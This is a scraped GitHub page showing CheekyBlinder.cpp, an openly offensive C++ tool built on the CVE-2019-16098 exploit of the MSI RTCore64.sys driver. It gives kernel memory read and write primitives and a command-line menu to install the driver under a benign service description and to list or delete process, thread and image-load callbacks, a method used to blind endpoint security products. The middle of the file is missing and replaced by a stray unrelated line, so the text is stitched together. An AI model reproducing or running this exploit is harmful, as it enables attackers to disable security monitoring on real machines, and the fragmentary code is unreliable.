



Sign in

br-sn / CheekyBlinder Public

Notifications

Fork 106

Star 541

<> Code

Issues 2

Pull requests 2

Actions

Projects

Security

Insights

CheekyBlinder / CheekyBlinder / CheekyBlinder.cpp



555 lines (461 loc) · 20.8 KB

Code

Blame

Raw



```
1 // Many thanks to
2 // https://github.com/Barakat/CVE-2019-16098 - original exploit
3 // https://github.com/RedCursorSecurityConsulting/PPLKiller - multiple code snippets were re-used
4
5 #include <Windows.h>
6 #include <aclapi.h>
7 #include <Psapi.h>
8 #include <cstdio>
9 #include <iostream>
10
11 #if !defined(PRINT_ERROR_AUTO)
12 #define PRINT_ERROR_AUTO(func) (wprintf(L"ERROR " TEXT(__FUNCTION__) L" ; " func L" (0x%08x)\n", Get
13 #endif
14
15
16 struct RTCORE64_MSR_READ {
17     DWORD Register;
18     DWORD ValueHigh;
19     DWORD ValueLow;
20 };
21 static_assert(sizeof(RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes");
22
23 struct RTCORE64_MEMORY_READ {
24     BYTE Pad0[8];
25     DWORD64 Address;
26     BYTE Pad1[8];
```

```
27     DWORD ReadSize;
28     DWORD Value;
29     BYTE Pad3[16];
30 };
31 static_assert(sizeof(RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");
32
33 ✓ struct RTCORE64_MEMORY_WRITE {
34     BYTE Pad0[8];
35     DWORD64 Address;
36     BYTE Pad1[8];
37     DWORD ReadSize;
38     DWORD Value;
39     BYTE Pad3[16];
40 };
41 static_assert(sizeof(RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
42
43 static const DWORD RTCORE64_MSR_READ_CODE = 0x80002030;
44 static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048;
45 static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c;
46
47
48 ✓ DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
49     RTCORE64_MEMORY_READ MemoryRead{};
50     MemoryRead.Address = Address;
51     MemoryRead.ReadSize = Size;
52
53     DWORD BytesReturned;
54
55     DeviceIoControl(Device,
56         RTCORE64_MEMORY_READ_CODE,
57         &MemoryRead,
58         sizeof(MemoryRead),
59         &MemoryRead,
60         sizeof(MemoryRead),
61         &BytesReturned,
62         nullptr);
63
64     return MemoryRead.Value;
65 }
66
67 ✓ void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) {
68     RTCORE64_MEMORY_READ MemoryRead{};
69     MemoryRead.Address = Address;
70     MemoryRead.ReadSize = Size;
71     MemoryRead.Value = Value;
72 }
```

```
73     DWORD BytesReturned;  
74  
75     DeviceIoControl(Device,  
76         RTCORE64_MEMORY_WRITE_CODE,  
77         &MemoryRead,  
78         sizeof(MemoryRead),  
79         &MemoryRead,  
80         sizeof(MemoryRead),  
81         &BytesReturned,  
82         nullptr);  
83 }  
84 BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address) {  
85     return ReadMemoryPrimitive(Device, 1, Address) & 0xffffffff;  
86 }  
87  
88  
89 WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) {  
90     return ReadMemoryPrimitive(Device, 2, Address) & 0xffff;  
91 }  
92  
93 DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) {  
94     return ReadMemoryPrimitive(Device, 4, Address);  
95 }  
96  
97 DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) {  
98     return (static_cast<DWORD64>(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address);  
99 }  
100  
101 void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {  
102     WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);  
103     WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);  
104 }  
105  
106  
107 void Log(const char* Message, ...) {  
108     const auto file = stderr;  
109  
110     va_list Args;  
111     va_start(Args, Message);  
112     std::vfprintf(file, Message, Args);  
113     std::fputc('\n', file);  
114     va_end(Args);  
115 }  
116  
117 DWORD64 Findkrnlbase() {  
118     DWORD chNeeded = 0;
```

110 bzero(&secret, 10);


```
482  
483  ✓ int main(int argc, char* argv[]) {  
484
```

```
485     if (argc < 2) {
486         printf("Usage: %s\n"
487             " /proc - List Process Creation Callbacks\n"
488             " /delproc <address> - Remove Process Creation Callback\n"
489             " /thread - List Thread Creation Callbacks\n"
490             " /delthread - Remove Thread Creation Callback\n"
491             " /installDriver - Install the MSI driver\n"
492             " /uninstallDriver - Uninstall the MSI driver\n"
493             " /img - List Image Load Callbacks\n"
494             " /delimg <address> - Remove Image Load Callback\n"
495             " /reg - List Registry modification callbacks\n"
496             , argv[0]);
497         return 0;
498     }
499
500     const auto svcName = L"RTCore64";
501     const auto svcDesc = L"Micro-Star MSI Afterburner";
502     const wchar_t driverName[] = L"\\RTCore64.sys";
503     const auto pathSize = MAX_PATH + sizeof(driverName) / sizeof(wchar_t);
504     TCHAR driverPath[pathSize];
505     GetCurrentDirectory(pathSize, driverPath);
506     wcsncat_s(driverPath, driverName, sizeof(driverName) / sizeof(wchar_t));
507
508
509     if (strcmp(argv[1] + 1, "proc") == 0) {
510
511         findprocesscallbackroutine(NULL);
512     }
513     else if (strcmp(argv[1] + 1, "delproc") == 0 && argc == 3) {
514         DWORD64 remove;
515         remove = strtoull(argv[2], NULL, 16);
516         findprocesscallbackroutine((DWORD64)remove);
517     }
518     else if (strcmp(argv[1] + 1, "installDriver") == 0) {
519         if (auto status = service_install(svcName, svcDesc, driverPath, SERVICE_KERNEL_DRIVER, SERV
520             wprintf(L"[!] 0x00000005 - Access Denied - Did you run as administrator?\n");
521     }
522     }
523     else if (strcmp(argv[1] + 1, "uninstallDriver") == 0) {
524         service_uninstall(svcName);
525     }
526     else if (strcmp(argv[1] + 1, "img") == 0) {
527
528         findimgcallbackroutine(NULL);
529     }
530     else if (strcmp(argv[1] + 1, "thread") == 0) {
```

```
531
532     findthreadcallbackroutine(NULL);
533 }
534 else if (strcmp(argv[1] + 1, "delthread") == 0 && argc == 3) {
535     DWORD64 remove;
536     remove = strtoull(argv[2], NULL, 16);
537     findthreadcallbackroutine((DWORD64)remove);
538 }
539 else if (strcmp(argv[1] + 1, "delimg") == 0 && argc == 3) {
540     DWORD64 remove;
541     remove = strtoull(argv[2], NULL, 16);
542     findimgcallbackroutine((DWORD64)remove);
543 }
544 else if (strcmp(argv[1] + 1, "reg") == 0) {
545
546     findregistrycallbackroutines(NULL);
547 }
548 else {
549     wprintf(L"Error: Check the help\n");
550
551 }
552
553
554 return 0;
555 }
```